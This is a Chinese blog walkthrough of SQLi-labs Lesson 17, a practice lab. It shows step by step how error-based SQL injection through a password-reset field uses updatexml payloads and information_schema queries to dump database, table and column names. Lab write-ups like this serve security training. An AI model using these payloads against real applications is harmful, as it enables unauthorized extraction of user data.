SQLi LABS Less 17 报错注入

本文阅读 2 分钟
首页 安全分享,WEB安全 正文

第十七关单引号字符型注入 ,推荐使用报错注入。

这关是一个修改密码的功能,先查询用户名是否正确。

  • 如果用户名正确,后台就修改密码,并提示修改成功;
  • 如果用户名错误,页面就直接返回修改失败;

img

用户名被过滤,注入点在密码处,这意味着我们需要事先知道一个正确的用户名(盲猜 admin)。

用户名正确的前提下:

  1. 密码携带单引号,页面显示数据库的报错信息,适合报错注入。
  2. 万能密码登录成功,页面不动态显示查询结果(返回写死的图片),不适合联合注入。img

三、解题步骤

方式一:报错注入

参考文章: 报错注入使用详解,原理+步骤+实战教程

第一步、判断注入点

用户名输入:admin

密码输入:a'

img

页面显示数据库的报错信息,分析可知,注入点为单引号字符型注入。

第二步、判断报错条件

用户名输入:admin

密码输入:a' and updatexml(1,0x7e,3) -- a

img

 页面显示报错函数的内容,确定报错注入可用。

第三步、脱库

获取当前使用的数据库,用户名输入:admin

密码输入:

a' and updatexml(1,
    concat(0x7e,
        substr(
            (database())
        ,1,32)
    )
,3) -- a

执行结果:

img

其余脱库操作时,将下图圈中的 部分替换成SQL语句即可:

 img

 常用的脱库语句:

# 获取所有数据库
select group_concat(schema_name)
from information_schema.schemata
 
# 获取 security 库的所有表
select group_concat(table_name)
from information_schema.tables
where table_schema="security"
 
# 获取 users 表的所有字段
select group_concat(column_name)
from information_schema.columns
where table_schema="security" and table_name="users"
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/wangyuxiang946/article/details/118118155
-- 展开阅读全文 --
Redis底层数据结构--跳跃表
« 上一篇 04-28
BUUCTF Web [强网杯 2019]随便注
下一篇 » 06-24

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复